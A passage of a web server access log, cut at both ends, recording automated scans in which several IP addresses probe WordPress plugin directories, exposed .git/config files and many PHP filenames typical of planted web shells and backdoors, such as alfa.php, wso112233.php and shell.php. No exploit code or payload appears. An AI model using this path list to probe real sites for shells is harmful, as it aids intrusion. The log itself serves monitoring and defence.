Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:53 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:27:53 +0300] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 45.92.229.34 - - [11/Feb/2026:17:27:54 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:54 +0300] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:54 +0300] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:27:55 +0300] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:55 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:55 +0300] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:56 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.92.229.34 - - [11/Feb/2026:17:27:56 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:56 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:56 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:57 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:57 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:27:57 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:58 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:58 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.92.229.34 - - [11/Feb/2026:17:27:58 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:59 +0300] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:59 +0300] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:59 +0300] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:27:59 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:00 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:00 +0300] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:01 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:01 +0300] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:01 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.92.229.34 - - [11/Feb/2026:17:28:02 +0300] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:02 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:02 +0300] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:02 +0300] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:28:03 +0300] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:28:03 +0300] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:03 +0300] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:28:03 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.92.229.34 - - [11/Feb/2026:17:28:04 +0300] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:04 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:28:04 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:28:05 +0300] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:28:05 +0300] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:28:05 +0300] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:06 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:06 +0300] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.92.229.34 - - [11/Feb/2026:17:28:06 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:28:07 +0300] "GET /wp-content/plugins/cp-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.92.229.34 - - [11/Feb/2026:17:28:07 +0300] "GET /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:07 +0300] "GET /wp-content/uploads/typehub/custom/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 43.165.70.220 - - [11/Feb/2026:18:14:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.92.229.34 - - [11/Feb/2026:17:28:07 +0300] "GET /wp-content/plugins/rencontre/inc/photo_import/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:08 +0300] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:08 +0300] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:08 +0300] "GET /.tmb/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.92.229.34 - - [11/Feb/2026:17:28:08 +0300] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.92.229.34 - - [11/Feb/2026:17:28:09 +0300] "GET /includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.92.229.34 - - [11/Feb/2026:17:28:09 +0300] "GET /themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 43.164.197.224 - - [11/Feb/2026:17:16:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.203.241.227 - - [11/Feb/2026:17:55:36 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:01:18 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:02:45 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:02:45 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:04:18 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:04:31 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:04:35 +0300] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:04:37 +0300] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:04:40 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:04:44 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:04:46 +0300] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:04:48 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:04:50 +0300] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:04:53 +0300] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:04:55 +0300] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:04:58 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:06:20 +0300] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:06:58 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:01 +0300] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:22 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:25 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:27 +0300] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:31 +0300] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:35 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:35 +0300] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:37 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:39 +0300] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:41 +0300] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:44 +0300] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:47 +0300] "GET /wp-cron.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:47 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:51 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:54 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:59:15 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:59:19 +0300] "GET /network.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:59:22 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:59:26 +0300] "GET /post.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:59:29 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:00:29 +0300] "GET /install.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:00:38 +0300] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:03:50 +0300] "GET /goat1.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:03:53 +0300] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:03:55 +0300] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 134.209.35.152 - - [11/Feb/2026:19:15:49 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 157.15.40.1 - - [11/Feb/2026:19:47:22 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 134.209.35.152 - - [11/Feb/2026:19:47:45 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 20.238.36.39 - - [11/Feb/2026:19:57:51 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:01:01 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:01:25 +0300] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:01:27 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:01:30 +0300] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 157.15.40.1 - - [11/Feb/2026:19:48:07 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.238.36.39 - - [11/Feb/2026:19:58:43 +0300] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:59:03 +0300] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:59:47 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:01:09 +0300] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:02:10 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:02:27 +0300] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:02:32 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:02:36 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:05:53 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:05:55 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:09 +0300] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:08:18 +0300] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:58:04 +0300] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:59:10 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:03:23 +0300] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:03:26 +0300] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:03:44 +0300] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:04:04 +0300] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:06:03 +0300] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:06:13 +0300] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:06:25 +0300] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:08:13 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:58:10 +0300] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 404 796 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:58:11 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:58:24 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:58:24 +0300] "GET /wp-includes/rest-api/fields/radio.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:58:26 +0300] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:58:29 +0300] "GET /index.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:58:29 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:58:33 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:58:37 +0300] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:59:37 +0300] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:19:59:40 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:00:16 +0300] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:02:03 +0300] "GET /log.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:02:19 +0300] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:02:23 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:03:15 +0300] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:03:33 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:04:23 +0300] "GET /wp-admin/block-support.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:07:58 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:08:01 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 94.103.173.219 - - [11/Feb/2026:19:40:44 +0300] "GET http://eliteewallet.com/ HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 157.15.40.1 - - [11/Feb/2026:19:47:51 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.238.36.39 - - [11/Feb/2026:20:00:43 +0300] "GET /.well-known/pki-validation/about.php HTTP/1.1" 404 796 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:00:43 +0300] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:01:35 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:06:31 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:06:35 +0300] "GET /widgets.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:06:38 +0300] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:06:40 +0300] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:06:43 +0300] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:06:46 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:06:46 +0300] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:06:49 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:08:26 +0300] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:08:28 +0300] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 20.238.36.39 - - [11/Feb/2026:20:08:32 +0300] "GET /wp-comments-post.php HTTP/1.1" 301 